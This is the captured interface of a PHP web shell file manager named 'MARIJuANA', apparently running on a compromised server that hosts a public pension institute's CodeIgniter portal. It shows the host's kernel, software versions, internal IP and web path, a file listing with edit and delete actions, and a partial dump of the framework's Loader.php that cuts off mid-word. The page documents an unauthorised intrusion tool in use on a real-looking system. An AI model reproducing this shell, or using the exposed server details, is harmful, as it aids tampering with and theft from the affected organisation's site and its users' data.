MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/instituto-previdencia/public_html/portal/system/core/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
compat dir drwxrwxr-x 2021-01-28 14:43 R D
Benchmark.php 3.921 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
CodeIgniter.php 15.736 KB -rw-rw-r-- 2021-01-28 15:20 R E G D
Common.php 21.431 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Config.php 9.061 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Controller.php 2.895 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Exceptions.php 7.086 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Hooks.php 6.106 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Input.php 22.057 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Lang.php 5.339 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Loader.php 36.207 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Log.php 7.373 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Model.php 2.441 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Output.php 20.683 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Router.php 12.845 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Security.php 28.467 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
URI.php 14.846 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
Utf8.php 4.313 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
index.html 0.128 KB -rw-rw-r-- 2021-01-28 14:41 R E G D
REQUEST EXIT
TRUE); /** * List of paths to load libraries from * * @var array */ protected $_ci_library_paths = array(APPPATH, BASEPATH); /** * List of paths to load models from * * @var array */ protected $_ci_model_paths = array(APPPATH); /** * List of paths to load helpers from * * @var array */ protected $_ci_helper_paths = array(APPPATH, BASEPATH); /** * List of cached variables * * @var array */ protected $_ci_cached_vars = array(); /** * List of loaded classes * * @var array */ protected $_ci_classes = array(); /** * List of loaded models * * @var array */ protected $_ci_models = array(); /** * List of loaded helpers * * @var array */ protected $_ci_helpers = array(); /** * List of class name mappings * * @var array */ protected $_ci_varmap = array( 'unit_test' => 'unit', 'user_agent' => 'agent' ); // -------------------------------------------------------------------- /** * Class constructor * * Sets component load paths, gets the initial output buffering level. * * @return void */ public function __construct() { $this->_ci_ob_level = ob_get_level(); $this->_ci_classes =& is_loaded(); log_message('info', 'Loader Class Initialized'); } // -------------------------------------------------------------------- /** * Initializer * * @todo Figure out a way to move this to the constructor * without breaking *package_path*() methods. * @uses CI_Loader::_ci_autoloader() * @used-by CI_Controller::__construct() * @return void */ public function initialize() { $this->_ci_autoloader(); } // -------------------------------------------------------------------- /** * Is Loaded * * A utility method to test if a class is in the self::$_ci_classes array. * * @used-by Mainly used by Form Helper function _get_validation_object(). * * @param string $class Class name to check for * @return string|bool Class object name if loaded or FALSE */ public function is_loaded($class) { return array_search(ucfirst($class), $this->_ci_classes, TRUE); } // -------------------------------------------------------------------- /** * Library Loader * * Loads and instantiates libraries. * Designed to be called from application controllers. * * @param mixed $library Library name * @param array $params Optional parameters to pass to the library class constructor * @param string $object_name An optional object name to assign to * @return object */ public function library($library, $params = NULL, $object_name = NULL) { if (empty($library)) { return $this; } elseif (is_array($library)) { foreach ($library as $key => $value) { if (is_int($key)) { $this->library($value, $params); } else { $this->library($key, $params, $value); } } return $this; } if ($params !== NULL && ! is_array($params)) { $params = NULL; } $this->_ci_load_library($library, $params, $object_name); return $this; } // -------------------------------------------------------------------- /** * Model Loader * * Loads and instantiates models. * * @param mixed $model Model name * @param string $name An optional object name to assign to * @param bool $db_conn An optional database connection configuration to initialize * @return object */ public function model($model, $name = '', $db_conn = FALSE) { if (empty($model)) { return $this; } elseif (is_array($model)) { foreach ($model as $key => $value) { is_int($key) ? $this->model($value, '', $db_conn) : $this->model($key, $value, $db_conn); } return $this; } $path = ''; // Is the model in a sub-folder? If so, parse out the filename and path. if (($last_slash = strrpos($model, '/')) !== FALSE) { // The path is in front of the last slash $path = substr($model, 0, ++$last_slash); // And the model name behind it $model = substr($model, $last_slash); } if (empty($name)) { $name = $model; } if (in_array($name, $this->_ci_models, TRUE)) { return $this; } $CI =& get_instance(); if (isset($CI->$name)) { throw new RuntimeException('The model name you are loading is the name of a resource that is already being used: '.$name); } if ($db_conn !== FALSE && ! class_exists('CI_DB', FALSE)) { if ($db_conn === TRUE) { $db_conn = ''; } $this->database($db_conn, FALSE, TRUE); } // Note: All of the code under this condition used to be just: // // load_class('Model', 'core'); // // However, load_class() instantiates classes // to cache them for later use and that prevents // MY_Model from being an abstract class and is // sub-optim